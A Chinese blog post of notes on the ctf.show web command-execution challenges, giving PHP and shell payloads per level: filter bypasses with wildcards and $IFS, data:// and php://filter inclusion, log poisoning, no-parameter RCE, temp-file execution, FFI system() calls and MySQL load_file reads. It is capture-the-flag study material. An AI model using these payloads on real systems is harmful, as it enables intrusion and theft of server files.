当前位置:首页 » 《关注互联网》 » 正文

ctf_show笔记篇(web入门---命令执行)

27 人参与  2024年04月06日 19:15  分类 : 《关注互联网》  评论

点击全文阅读


 

目录

 

命令执行

29:有很多种方法可以使用内联法例如system('cat `ls`')或者像它提示的一样echo `nl fl""ag.php`

30:这里与29题原理相同只不过多禁用了一个system和php####请通过29题举一反三

31:这一题有多种解法看自身理解,答案不唯一

32:这一题还是一样多种解法这里演示两种

33-36:同样还是使用文件包含就能过,($_GET[参数],这里的参数可以是数字或者字母带小飘或者不带小飘,例如:'a'和a)

37-39:这一题用伪协议随便过(简单的文件包含)

40:通过他的正则能直到只能使用类似于abc()这样的类型进行注入,明显的无参数注入

41:这里建议去看这篇博文,光看payload直接拿flag学不到东西,先理解原理在结合羽师傅给的脚本分析然后自己写一个脚本

42-52:全都是和隔断相关的,如果不隔断他会和 >/dev/null直接丢到垃圾桶相当于是

53:还是同样的直接c""at${IFS}fl""ag.p""hp

54:这里就要用点骚操作了,用绝对路径来调用cat函数,例如/bin/?at,或者ca?,再或者改名再查看,复制也行。反正就是你能想到怎么绕过就去做,解法不唯一

55:两种解法

56:可用55题的第二方法解开

57:应该是想让了解linux的运算符

58-65:这集体将命令执行的权限禁用了,例如system这一类执行命令的都不行

66:这里将flag换了个地方

67:这里把print_r和show_source禁用了

68:这里又把highlight_file禁用了

69:这里又禁用了var_dump

70:和69一样但是禁用了其他的东西

71:从源代码看,这里开启了缓冲区

72-74:到这里似乎就禁止进行文件扫描了

75:这里学到了一个新方法

76:这里使用php的另一个模块连接mysql

77:这里使用的是只有php7.4以上才有的模块ffi

118:这里学到了新东西,关于linux的一些特殊的变量,例如环境变量

119:和118大致也是同理,通过利用系统的变量来做题

120:和前两题一样只不过把过滤写出来了(可举一反三)

121:也是一样的只是把USER和其他的也禁用了

122:

124:


命令执行

29:有很多种方法可以使用内联法例如system('cat `ls`')或者像它提示的一样echo `nl fl""ag.php`

nl和cat的区别就是nl会列出文件内容并且带有行号

30:这里与29题原理相同只不过多禁用了一个system和php####请通过29题举一反三

31:这一题有多种解法看自身理解,答案不唯一

get嵌套

利用了eval()函数再写了一个$_GET['s']来接受变量,这样可以完全绕过所有验证

最后payload:c=eval($_GET['s']);&s=system('cat flag.php')

passthru()虽然system被禁用了但是还有很多可以调用系统命令的函数

例如:exec,shell_exec(),popen()之类的,可自行尝试

pyload:

c=passthru("c\at\$IFS\$1fla*");

最后还可以使用无参数rce,就像给的提示一样

32:这一题还是一样多种解法这里演示两种

第一种通过include包含文件

payload:

c=include$_GET["a"]?>&a=data://text/plain,<?php%20eval(system("cat%20flag.php"));?>

这个符号?>是应为防护里过滤了;符号,所以我们直接将后面的代码全部不要了直接闭合

例如:

<?php include$_GET["a"]?>preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c));?>

a后面使用的是伪协议也可以使用php://filter/read=convert.base64-encode/resource=flag.php

其他的伪协议也可以使用

第二种利用系统的日志文件写入代码然后访问利用(!!!这里的前提是可以访问到日志)

payload:

c=include$_GET["a"]?>&a=../../../../var/log/nginx/access.log

先随便刷新然后写入代码让日志文件记住

然后再刷新再写入我们包含日志文件的代码

bp抓包在user—agent写入代码

原理:日志文件会自动收集user—agent的信息,然后通过文件包含include命令来引用日志文件。

33-36:同样还是使用文件包含就能过,($_GET[参数],这里的参数可以是数字或者字母带小飘或者不带小飘,例如:'a'和a)

37-39:这一题用伪协议随便过(简单的文件包含)

例如:data://text/plain;base64,base64加密后的命令

如果传入参数后会有自动添加点东西可用//注释掉###如果有影响才会去注释它

例如:?c=data://text/palin,<?php%20eval(system(%27cat%20`ls`%27));?>//

40:通过他的正则能直到只能使用类似于abc()这样的类型进行注入,明显的无参数注入

例子:

1.eval(implode(getallheaders()))

函数getallfeaders函数获取全部传入的head信息但是返回的是数组,而eval只能接收字符串,所以需要用implode转化为字符串,

例如:

php版本不同getallheaders读取的顺序也会不同,这里的环境是从最后读取的,所以在最后加上了//来注释掉后面的head信息

2.show_source(next(array_reverse(scandir(pos(localeconv())))));

1)函数localeconv会返回一包含本地数字及货币格式信息的数组,这里主要是他返回的第一个字符串“  .  ”

2)pos函数可以输出数组里的第一个值,刚好可以拿来读localeconv返回的数组的第一个值“ . ”

3)scandir函数返回指定目录中的文件和目录的数组,因为pos(localeconv())两个函数结合起来输出刚好是“ . ”,所以scandir(.)扫的是当前目录

4)array_reverse翻转数组,就是将scandir扫的目录返回的数组倒过来

5)next()将数组指针指向下一个

6)show_source查看源码

41:这里建议去看这篇博文,光看payload直接拿flag学不到东西,先理解原理在结合羽师傅给的脚本分析然后自己写一个脚本

#大致意思就是通过php的这四个运算符来构造新的字符串来执行命令

RCE篇之无数字字母rce - 学安全的小白 - 博客园 (cnblogs.com)

原理:

异或^:数字相同为1不同为0(1^1=1,1^0=0),利用这个特性来构造字符串

例如:'a'^'$'=E

按位或运算|:参与运算的两个数转化为二进制后,全为1则取1,如果是1和0这种还是取1

例如:101|100=101        101|101=101    100|100=100

按位与运算&:参与运算的两个数转化为二进制后,全为1则取1,存在0时取0

例如:101&100=100        101&101=101       100&100=100

42-52:全都是和隔断相关的,如果不隔断他会和 >/dev/null直接丢到垃圾桶相当于是

####这些题出出来估计是为了加强记忆用的

隔断可以用%0a或者||之类的都可以空格绕过:$IFS  $IFS$随便一个数字  ${IFS}  %09  %20  <  <>###这最后两个是重定向符号,因起原理也可以用来当作空格使用查看文件:cat  tac(倒过来读取文件)  nl(显示的时候顺便输出行号)  sort(可以查看)  head(读取前几行)  more(一页一页的读取也可以用来查看)  uniq(可以查看)  less  tail  od

53:还是同样的直接c""at${IFS}fl""ag.p""hp

54:这里就要用点骚操作了,用绝对路径来调用cat函数,例如/bin/?at,或者ca?,再或者改名再查看,复制也行。反正就是你能想到怎么绕过就去做,解法不唯一

payload:/bin/?at${IFS}f???????            ca?${IFS}fla?.php           mv${IFS}fla?.php${IFS}1.txt然后ca?${IFS}1.txt          

55:两种解法

1.看过payload后直到的一种骚操作,但是有局限性

利用/bin/base64加密文件然后会输出的特性,这里的前提是可以输数字

payload:/???/????64 ????????

2.另一种是通过上传文件然后用符号.调用执行文件

#####一种很新奇的解题方式

第一个知识点:

通过post上传文件,此时php会在linux里的零时文件夹保存文件,且文件一定是php加上六个随机的字符      /tmp/php??????

这个应php保存的临时文件会有一个特性,就是这6个随机的字符会出现大写的情况

例如:

普通文件/tmp/adcabcabc

php保存的临时文件/tmp/phpAvxAsa

第二个知识点:

现在直到了文件上传的位置以及特性那么现在要怎么利用它

shell下支持使用. 来执行文件linux支持glob通配符代替文件名

例如我们需要利用到/tmp/phpFsGFKd这个文件,他和其他文件的区别就是php保存的临时文件会有大写字母的出现,而glob支持利用[0-9]来表示一个范围,这就很好的解决了问题,

可以使用[@-[]这两个字符之间真好是全部大写字母,放在最后正好可以用来匹配文件名最后出现了大写字母的文件

payload:.%20/???/????????[@-[]

完整流程

用html写一个提交post文件的页面

例如:

56:可用55题的第二方法解开

57:应该是想让了解linux的运算符

想了解更详细可以去看这篇博文

linux之${ }、[ ]、$( )、$[ ]、$(( ))、[[ ]]、(( ))的作用_linux $[]-CSDN博客

这里flag放在36里面,但是数字被禁掉

在linux里$(())是运算符,例如:$((1+2))=3      如果$(())这样用他会算出0

而~是取反符号如果这样用,例如:~$((1+2))= -4      如果$(())返回0的话~$(())这样用就会返回-1

例子:

$((~$(())~$(())))=$((-1-1))= -2         ~$((~$(())~$(())))=~$((-1-1))=1

转化为负数会减少一位,那么按照这个原理在里面放37个~$(())然后再用$(())包裹起来就会得到36

payload:?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

58-65:这集体将命令执行的权限禁用了,例如system这一类执行命令的都不行

####这里每一题基本都是一样的,可以尝试多种不同的无参数rce,或者include文件包含这一类

方案一(include文件包含):

c=include($_POST['a']);&a=php://filter/read=convert.base64-encode/resource=flag.php

或者####在没有过滤参数c的情况下

c=include('flag.php');

方案二(使用php内置函数):

show_source()    highlight_file():
show_source('flag.php');        highlight_file('flag.php');
这两个函数都是用来高亮显示文件内容

66:这里将flag换了个地方

var_cump(scandir('/'));

67:这里把print_r和show_source禁用了

这里使用var_dump()替换print_r

var_dump(scandir('/'));扫描根目录文件并输出

highlight_file('/flag.txt');读取文件

68:这里又把highlight_file禁用了

不能显示文件可以使用var_dump输出变量信息

var_dump(scandir('/'));扫描文件

这里用文件包含绕过

c=include('/flag.txt')

69:这里又禁用了var_dump

可以用echo替换,但是echo只能输出字符串,所以使用implode将数组转换为字符串

c=echo(implode('!',scandir('/')));使用!来隔开每个文件名,不然黏在一起的

c=include('/flag.txt');

70:和69一样但是禁用了其他的东西

71:从源代码看,这里开启了缓冲区

ob_get_contents返回内部缓冲区内容

ob_end_clean则会清除缓冲区内容并且关闭

方案一:退出缓冲区以后后面它的命令就不会执行

提前退出缓冲区不让他进去###ob_end_flush释放内部缓冲区的内容,并关闭缓冲区

c=echo(implode('~~~',scandir('/')));ob_end_flush();

c=include('/flag.txt');ob_end_flush();

方案二:

执行完我们的程序后直接结束

c=echo(implode('~~~',scandir('/')));exit();

c=include('/flag.txt');exit();

72-74:到这里似乎就禁止进行文件扫描了

这里通过搜索资料学到的新东西

关于php的DirectoryIterator迭代器

DirectoryIterator迭代器大概就是一个遍历目录的一个php的库,它可以指定需要遍历的文件然后给一个变量然后通过foreach函数一个一个交给另一个变量,就从数组变成了字符串可以使用很多关于文件信息的函数,例如下图的isdir()就是判断给定的文件是否是一个目录最后在通过方法名来输出,例如下图的getFilename()获取当前Iterator item文件名(带扩展名)

这里列出一些常用的信息名以及方法名

信息名:

file_exists()该文件是否存在    is_dir()该文件是否是一个目录    is_file()该文件是否是一个正常文件

方法名:

getPathname()获取当前itorator item路径名

getFilename()获取当前itorator itrm文件名带拓展名

getPath()获取当前itorator itrm的路径名

payload:###glob://用来查找匹配文件路径的

?><?php$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->getFilename().'  ');} exit(0);?>

75:这里学到了一个新方法

这一题include被限制了,而uaf poc因为strlen被禁了获取不到system地址也没法用

首先还是使用DirectoryIterator模块来扫描目录

?><?php$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->getFilename().'  ');} exit(0);?>

这里就用到了数据库的load_file来查询了

首先连接数据库

$conn = mysqli_connect("127.0.0.1", "root", "root", "ctftraining");

                                        本地服务器  用户名   密码   数据库名称

设置sql语句

$sql='select load_file("/flag36.txt")';

执行sql语句并且使用变量result接收

$result = mysqli_query($conn, $sql);

最后使用mysqli_fetch_array() 函数从结果集中取得一行作为关联数组,或数字数组,或二者兼有 返回根据从结果集取得的行生成的数组,如果没有更多行则返回 false。

while($ccc=mysqli_fetch_array($result){ echo $ccc['a']; } exit();

最后payload:

$conn = mysqli_connect("127.0.0.1", "root", "root", "ctftraining"); $sql='select load_file("/flag36.txt") as a'; $result = mysqli_query($conn, $sql); while($ccc=mysqli_fetch_array($result){ echo $ccc['a']; } exit();

76:这里使用php的另一个模块连接mysql

 首先还是使用DirectoryIterator模块来扫描目录

?><?php$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->getFilename().'  ');} exit(0);?>

PHP 数据对象 (PDO) 扩展为PHP访问数据库定义了一个轻量级的一致接口。

PDO 提供了一个数据访问抽象层,这意味着,不管使用哪种数据库,都可以用相同的函数(方法)来查询和获取数据。

PDO随PHP5.1发行,在PHP5.0的PECL扩展中也可以使用,无法运行于之前的PHP版本。

try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root','root');foreach($dbh->query('select load_file("/flag36.txt")') as $row){echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e->getMessage();exit(0);}exit(0);

77:这里使用的是只有php7.4以上才有的模块ffi

FFI提供了高级语言直接的互相调用,而对于PHP而言,FFI让我们可以方便的调用C语言写的各种库。

其实现有大量的PHP扩展是对一些已有的C库的包装,某些常用的mysqli,curl,gettext等,PECL中也有大量的类似扩展。

$ffi = FFI::cdef("int system(const char *command);");//创建一个system对象$a='/readflag > 1.txt';//没有回显的$ffi->system($a);//通过$ffi去调用system函数

最后在去访问1.txt

118:这里学到了新东西,关于linux的一些特殊的变量,例如环境变量

payload:${PATH:~A}${PWD:~A}$IFS????.???

                这里猜测${PATH:~A}${PWD:~A}应该是是拿取的nl之类的读取文件的函数

${PATH:~A}有点类似于python里的元组或者集合,或者说是字典
例如:
a =’ 1234‘
${a:~A}这样就可以取出最后一个字符4或者${a:1}就会从第二个取出来到最后一个或者${a:2:4}就会取出第3个到第5个,(起始位标是0)PATH:环境变量的一种,${PATH:~A}的意思大致就是取PATH环境变量的最后一个字符
例如:
PWD:也是一种环境变量,他会一直显示当前所在的目录
例如:

119:和118大致也是同理,通过利用系统的变量来做题

119题是把环境变量path禁用了,所以这里用其他的

这里的思路:

直接构造cat函数的绝对路径来利用cat读取flag.php

payload:

${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}} ????.???

大致意思:

${PWD:${#}:${#SHLVL}}    >        ${PWD:1:1}      >        /        (${#}=1,${#SHLVL}=1)

${HOME:${#HOSTNAME}:${#SHLVL}}   >    

${#}:输出0         ${##}和${#?}:输出1          (只能计算这两个再多都会置零)${#IFS}=3    (在linux里$IFS占三位,mac占四位)$HOME:家目录的环境变量$SHLVL:这里的shell只有一层嵌套所以是1
SHLVL记录了bash Shell嵌套的层次,当启动第一个Shell时, $SHLVL=1,如果在这个Shell中执行脚本,脚本中的SHLVL为2,如果脚本再执行子脚本,子脚本中的SHLVL就变为3了。
${#PATH}:会计算PATH里的长度,类似于python里的len函数{}:应该是计算符$USER:当前用户吧

120:和前两题一样只不过把过滤写出来了(可举一反三)

payload:

${PWD::${##}}???${PWD::${##}}?${USER:~A}?$IFS????.???

####我的环境$USER是root,ctfshow的不是所以这里是正常的

121:也是一样的只是把USER和其他的也禁用了

首先通过它之前的关卡可以直到他的$PWD显示的当前路径是:/var/www/html

这里可以用到里面的r

payload:

${PWD::${##}}???${PWD::${##}}${PWD:${#IFS}:${#?}}??$IFS????.???

这里利用的是/bin/rev和tac的作用差不多,倒过来查,利用python跑脚本就能倒过来,其他的也行

122:

这里通过$?来实现,当上一条命令执行结束后的并且成功$?=0,如果失败则$?=1,所以这次需要多次刷新来实现$?=${##}=1

payload:

code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???

<A;这个使用来让他第一条命令执行失败的

$RANDOM会生成随机数,每一次使用都不一样,这里我们要利用的是base64,所以需要刷新很多次直到${RANDOM::$?}取到4

124:

payload:

/?c=$cos=base_convert(37907361743,10,36)(dechex(1598506324));$$cos{1}($$cos{2})&1=system&2=cat+flag.php


点击全文阅读


本文链接:http://zhangshiyu.com/post/91423.html

<< 上一篇 下一篇 >>

  • 评论(0)
  • 赞助本站

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。

关于我们 | 我要投稿 | 免责申明

Copyright © 2020-2022 ZhangShiYu.com Rights Reserved.豫ICP备2022013469号-1